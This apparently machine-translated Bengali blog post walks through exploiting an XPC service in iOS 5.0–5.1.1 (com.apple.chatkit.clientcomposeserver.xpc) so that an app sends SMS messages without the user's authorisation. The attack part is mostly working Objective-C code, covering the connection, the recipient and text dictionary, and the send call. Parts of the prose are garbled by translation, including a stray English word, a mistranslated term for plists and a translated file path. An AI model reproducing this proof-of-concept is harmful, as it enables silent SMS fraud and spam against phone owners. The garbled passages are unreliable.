ম্যাকওএসের আন্ত-প্রক্রিয়া যোগাযোগের একটি সিস্টেম হ'ল এক্সপিসি। এই সিস্টেম স্তরটি libSystem এবং লঞ্চ ব্যবহার করে প্লাস্টিক স্ট্রাকচারের স্থানান্তরের ভিত্তিতে আন্ত-প্রক্রিয়া যোগাযোগের জন্য তৈরি করা হয়েছে। আসলে, এটি এমন একটি ইন্টারফেস যা অভিধানের মতো কাঠামোর বিনিময়ের মাধ্যমে প্রক্রিয়া পরিচালনা করার অনুমতি দেয় allows বংশগতির কারণে, আইওএস 5 এরও এই ব্যবস্থাটি রয়েছে।
এই ভূমিকা দিয়ে আমি কী বোঝাতে চাইছি তা আপনি ইতিমধ্যে বুঝতে পারেন। হ্যাঁ, আইওএসে এমন সিস্টেম পরিষেবা রয়েছে যা এক্সপিসি যোগাযোগের সরঞ্জামাদি অন্তর্ভুক্ত করে। এবং আমি এসএমএস প্রেরণের জন্য ডেমন দিয়ে কাজটির উদাহরণ দিয়ে দিতে চাই। তবে, এটি উল্লেখ করা উচিত যে এই ক্ষমতাটি আইওএস 6 এ স্থির করা হয়েছে তবে এটি আইওএস 5.0—5.1.1 এর জন্য প্রাসঙ্গিক। এর শোষণের জন্য জেলব্রেক, ব্যক্তিগত ফ্রেমওয়ার্ক এবং অন্যান্য অবৈধ সরঞ্জামের প্রয়োজন নেই। ডিরেক্টরি / usr / অন্তর্ভুক্ত / এক্সপিসি / * থেকে কেবলমাত্র হেডার ফাইলগুলির সেট প্রয়োজন।
আইওএসে এসএমএস প্রেরণের অন্যতম উপাদান হ'ল সিস্টেম সার্ভিস com.apple.chatkit, যার কাজগুলির মধ্যে রয়েছে প্রজন্ম, পরিচালনা এবং সংক্ষিপ্ত পাঠ্য বার্তা প্রেরণ। নিয়ন্ত্রণের স্বাচ্ছন্দ্যের জন্য এটিতে সর্বজনীনভাবে উপলব্ধ যোগাযোগ বন্দর com.apple.chatkit.clientcomposeserver.xpc রয়েছে। এক্সপিসি সাবসিস্টেমটি ব্যবহার করে আপনি ব্যবহারকারীর অনুমোদন ছাড়াই বার্তা উত্পন্ন এবং প্রেরণ করতে পারবেন।
ঠিক আছে, আসুন একটি সংযোগ তৈরি করার চেষ্টা করি।
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
এখন আমাদের কাছে এক্সপিসি সংযোগ মাই কানেকশনটি এসএমএস প্রেরণের পরিষেবাতে সেট করা আছে। তবে, এক্সপিসি কনফিগারেশন স্থগিত সংযোগ তৈরির ব্যবস্থা করে - আমাদের সক্রিয়করণের জন্য আরও একটি পদক্ষেপ নেওয়া দরকার।
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
সংযোগটি সক্রিয় করা হয়েছে। এই মুহুর্তে আইওএস 6 টেলিফোনে লগতে একটি বার্তা প্রদর্শন করবে যে এই ধরণের যোগাযোগ নিষিদ্ধ। এখন আমাদের বার্তা প্রেরণের জন্য প্রয়োজনীয় ডেটা সহ xpc_d অভিধান এর অনুরূপ অভিধান তৈরি করতে হবে।
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
সামান্য বাকি রয়েছে: এক্সপিসি বন্দরে বার্তাটি প্রেরণ করুন এবং নিশ্চিত হয়ে গেছে যে এটি পৌঁছেছে।
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
এখানেই শেষ. এসএমএস পাঠানো হয়েছে।